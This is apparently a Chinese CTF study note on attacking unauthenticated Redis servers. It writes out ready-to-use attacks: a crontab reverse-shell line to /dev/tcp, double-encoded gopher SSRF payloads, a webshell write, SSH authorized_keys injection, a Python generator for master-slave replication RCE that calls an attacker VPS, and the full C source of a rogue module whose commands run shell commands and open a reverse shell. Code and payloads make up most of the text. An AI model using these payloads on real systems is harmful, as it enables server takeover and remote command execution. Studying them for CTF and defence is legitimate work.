Redis


看看redis的一些东西

Redis

Redis未授权访问

在另一台机子上安装redis服务

然后直接进入到src目录下redis-cli -h 另一台机子的ip -p 6379直接连上

备份crontab 反弹shell

(CentOS有效,因为redis写文件默认为644,在ubuntu下要600)

条件:

  • redis服务使用root启动
  • Redis未授权访问或者授权口令已知
  • 如果是较高版本的Redis,还得关闭配置保护模式在etc/redis.conf
1
2
3
4
set xx "\n * * * * * bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1\n"
config set dir /etc/
config set dbfilename crontab
save

这里利用gopherus生成redis的payload,利用ssrf打一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
//Flag in flag.php
highlight_file(__FILE__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}

if(isset($_GET['submit'])){
$url = $_GET['url'];
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
die('No');
}
curl($url);
}
if(isset($_GET['ip'])){
system('ifconfig');
}
?>

发现有6379端口的redis服务(?url=http://内网:6379)

利用gopherus生成反弹shellpayload:

1
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

二次urlencode:

1
gopher://127.0.0.1:6379/_%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%74%74%74%25%30%64%25%30%61%24%36%39%25%30%64%25%30%61%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%78%78%78%2e%78%78%2e%78%78%78%2e%78%78%2f%31%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%71%75%69%74%25%30%64%25%30%61

备份文件写马

条件:

  • web目录有写权限
1
2
3
4
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

平时用gopherus也能生成webshell

写入sshkey

利用条件:

  • redis服务使用root启动
  • 服务器开启了ssh服务

先生成公钥:

1
ssh-keygen -t rsa

写入

1
2
3
4
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\n 你的公钥"
save

为了写入方便,也能这么写:

1
2
3
#提前生成了rsa公钥

(echo "\n\n\n"; cat id_rsa.pub; echo "\n\n\n") > key.txt

通过Redis未授权写入

1
cat key.txt|redis-cli -h centos7 -p 6379 -x set xs

redis主从复制rce

条件:

  • 未授权访问或者授权口令已知
  • 4.x <= Redis <= 5.0.5

背景:

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。

为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

Redis拓展模块

在redis 4.x之后,Redis新增了模块功能,通过外部拓展可以实现在redis中实现一个新的redis命令,通过c语言编译出.so文件

1
https://github.com/n0b0dyCN/redis-rogue-server
1
python3 redis-rogue-server.py --rhost xx --rport 6379 --lhost vps --lport port

怎么打主从复制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# 使用方法就是分三次生成payload (dirty hack ,打开每次cmd 里面的注释)。
from urllib.parse import quote

def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x))) + CRLF + x
cmd += CRLF
return cmd


def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
exp_filename = "exp.so"
cmd = [
#测试
#"SLAVEOF {} {}".format(lhost, lport),
#"CONFIG GET dbfilename",
#"CONFIG GET dir",

# 第一次
"CONFIG SET dir /tmp/",
"config set dbfilename exp.so",
"SLAVEOF {} {}".format(lhost, lport),

# 第二次
# "MODULE LOAD /tmp/exp.so",

# 第三次
#"system.exec {}".format(command.replace(" ", "${IFS}")),
# 这里有个细节就是使用${IFS}代替参数中的空格,因为上面的redis_format函数会根据空格来进行分割命令和参数

# "system.rev 174.2.6.11${IFS}2333",
# "SLAVEOF NO ONE",
# "CONFIG SET dbfilename dump.rdb",
# "system.exec rm${IFS}/tmp/{}".format(exp_filename),
# "MODULE UNLOAD system",
"quit"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd


#攻击机ip:
lhost = "106.52.94.23"
lport = "2333"
passwd = "root"
command = "cat /flag"
# command = "bash -i >& /dev/tcp/174.2.6.11/2333 0>&1"
cmd = generate_rce(lhost,lport,passwd,command)

rhost = "0.0.0.0"
rport = "6379"

payload = 'gopher://'+rhost+":"+rport+"/_"
a = ""

for x in cmd:
a += redis_format(x)
payload += quote(redis_format(x))

print(a)
print(payload)

生成payload的脚本

点名批评buu,怎么打都不能连上我的vps

转战nssctf,直接成功了…

但是反弹shell不行,?

vps上起一个服务python3 redis-rogue-server.py --server-only --lport 2333(不指定lport默认21000)

然后分三次打

这里分三次是防止还没复制好就到下一步导致主从复制失败:

每一次改一下上面那个脚本的cmd部分

打之前开好redis-rogue-server.py

第一次:

1
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2412%0D%0A106.52.94.23%0D%0A%244%0D%0A2333%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

记得二次urlencode

如果打成功了会有:

第二次:

1
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

要是有三个+OK,那说明你打成功了

第三次:

1
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%2414%0D%0Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

获取flag

反弹不了shell大不了多打几次Redis

redis中exp.so的简单分析

redis-rogue-server上有exp.credismodule.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include "redismodule.h"

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 2) {
size_t cmd_len;
size_t size = 1024;
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);

FILE *fp = popen(cmd, "r");
char *buf, *output;
buf = (char *)malloc(size);
output = (char *)malloc(size);
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
if (strlen(buf) + strlen(output) >= size) {
output = realloc(output, size<<2);
size <<= 1;
}
strcat(output, buf);
}
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
pclose(fp);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}

int RevShellCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 3) {
size_t cmd_len;
char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
int port = atoi(port_s);
int s;

struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(ip);
sa.sin_port = htons(port);

s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);

execve("/bin/sh", 0, 0);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,"system",1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;

if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}

exp.c是这样的,而RedisModule.h是一些Redis服务的宏定义

中间有三个函数:

1
2
3
DoCommand
RevShellCommand
RedisModule_OnLoad

Docommand应该是接受我们的命令并且执行(正向exec)

RevShellCommand应该是一个反弹shell到我们的主Redis服务上(rogue server)

On_Load应该是将exp.so上传到Redis服务器的时候进行的初始化加载操作

可以看到在OnLoad上就有我们的三个过程:

1
2
3
初始化 init,通过init来执行到system
Docommand,创造一条命令,通过exec来执行命令
RevShellCommand,执行的反弹shell的command